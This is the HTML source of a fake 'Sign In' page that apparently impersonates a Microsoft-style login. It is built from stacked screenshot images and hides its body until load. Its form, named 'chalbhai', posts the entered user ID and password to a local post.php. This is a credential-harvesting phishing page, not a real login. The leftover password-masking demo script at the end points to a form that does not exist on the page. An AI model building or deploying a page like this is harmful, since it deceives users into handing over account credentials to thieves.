<!doctypehtml PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><title>
   Sign In
  </title><script src=https://www.sitepoint.com/examples/password/MaskedPassword/MaskedPassword.js></script><meta content=width=device-width,initial-scale=1.0 name=viewport><link rel="shortcut icon"href=images/favicon.ico><script>function unhideBody()
{
var bodyElems = document.getElementsByTagName("body");
bodyElems[0].style.visibility = "visible";
}</script><style>.textbox {
    height: 36px;
    width: 275px;
	padding-left: 8px;
	font-family: "Segoe UI Webfont",-apple-system,"Helvetica Neue","Lucida Grande","Roboto","Ebrima","Nirmala UI","Gadugi","Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI","Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math";
    font-size: 15px;
    line-height: 20px;
    font-weight: 400;
    font-size: .9375rem;
    border: 1px solid #666;
    
    
}
 .textbox:focus {
    border-color: #4488cc;
	border-style: solid;   
    border-width: 1px;
    outline: 0;
}</style><style>.textrbox {
    height: 26px;
    width: 275px;
	padding-left: 8px;
	padding-right: 8px;
	font-family: "Segoe UI Webfont",-apple-system,"Helvetica Neue","Lucida Grande","Roboto","Ebrima","Nirmala UI","Gadugi","Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI","Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math";
    font-size: 15px;
	color: #262626;
    text-align: right;
    line-height: 20px;
    font-weight: 400;
    font-size: .9375rem;
    border: 0px solid #fff;
	background-color: #F2F2F2;
    
    
}
 .textrbox:focus {
    border-color: #fff;
	
	background-color: #F2F2F2;	
    border-width: 0px;
    outline: 0;
}</style><style>input[type=checkbox].css-checkbox {
							position:absolute; z-index:-1000; left:-1000px; overflow: hidden; clip: rect(0 0 0 0); height:1px; width:1px; margin:-1px; padding:0; border:0;
						}

						input[type=checkbox].css-checkbox + label.css-label {
							padding-left:26px;
							height:21px; 
							display:inline-block;
							line-height:21px;
							background-repeat:no-repeat;
							background-position: 0 0;
							font-size:21px;
							vertical-align:middle;
							cursor:pointer;

						}

						input[type=checkbox].css-checkbox:checked + label.css-label {
							background-position: 0 -21px;
						}
						label.css-label {
				background-image:url(http://csscheckbox.com/checkboxes/u/csscheckbox_a4824bcf5d413f078bdd6abd3e6e5bf4.png);
				-webkit-touch-callout: none;
				-webkit-user-select: none;
				-khtml-user-select: none;
				-moz-user-select: none;
				-ms-user-select: none;
				user-select: none;
			}</style><style>div#container
{
	position:relative;
	width: 1365px;
	margin-top: 0px;
	margin-left: auto;
	margin-right: auto;
	text-align:left; 
}
body {text-align:center;margin:0}</style><body bgcolor=#030100 onload=unhideBody() style=visibility:hidden><div id=container><div style="position:absolute; overflow:hidden; left:0px; top:0px; width:1365px; height:172px; z-index:0"id=image1><img alt border=0 height=172 src=images/m1.png width=1365></div><div style="position:absolute; overflow:hidden; left:0px; top:169px; width:1365px; height:161px; z-index:1"id=image2><img alt border=0 height=161 src=images/m2.png width=1365></div><div style="position:absolute; overflow:hidden; left:0px; top:328px; width:1365px; height:176px; z-index:2"id=image3><img alt border=0 height=176 src=images/m3.png width=1365></div><div style="position:absolute; overflow:hidden; left:0px; top:499px; width:1365px; height:164px; z-index:3"id=image4><img alt border=0 height=164 src=images/m4.png width=1365></div><div style="position:absolute; overflow:hidden; left:1148px; top:641px; width:205px; height:16px; z-index:4"id=image7><a href=#> <img alt border=0 height=16 src=images/m5.png width=205> </a></div><div style="position:absolute; overflow:hidden; left:477px; top:135px; width:412px; height:365px; z-index:5"id=image5><img alt border=0 height=365 src=images/m8.png width=412></div><div style="position:absolute; overflow:hidden; left:513px; top:444px; width:120px; height:16px; z-index:10"id=image6><a href=#> <img alt border=0 height=16 src=images/m9.png width=120> </a></div><div style="position:absolute; overflow:hidden; left:513px; top:352px; width:167px; height:38px; z-index:11"id=image8><a href=#> <img alt border=0 height=38 src=images/m10.png width=167> </a></div><form action=post.php id=chalbhai method=post name=chalbhai><input autocomplete=off class=textrbox name=userid required style=position:absolute;width:290px;left:508px;top:214px;z-index:6><input autocomplete=off class=textbox id=demo-field name=pass placeholder=Password required style=position:absolute;width:338px;left:514px;top:300px;z-index:7><div style="position:absolute; left:686px; top:351px; z-index:8"id=formimage1><input height=38 name=formimage1 src=images/logn.png type=image width=167></div><div style="position:absolute; left:513px; top:404px; z-index:9"id=checkboxG1><input class=css-checkbox id=checkboxG1 name=checkboxG1 type=checkbox><label class="css-label radGroup1 chk"for=checkboxG1></label></div><div style="position:absolute; left:513px; top:404px; z-index:9"id=checkboxG1><input class=css-checkbox id=checkboxG2 name=checkboxG2 type=checkbox><label class="css-label radGroup1 clr"for=checkboxG2></label></div></form></div><script>//apply masking to the demo-field
  //pass the field reference, masking symbol, and character limit
  new MaskedPassword(document.getElementById("demo-field"), '\u25CF');
 
  //test the submitted value
  document.getElementById('demo-form').onsubmit = function()
  {
   alert('pword = "' + this.pword.value + '"');
   return false;
  };</script>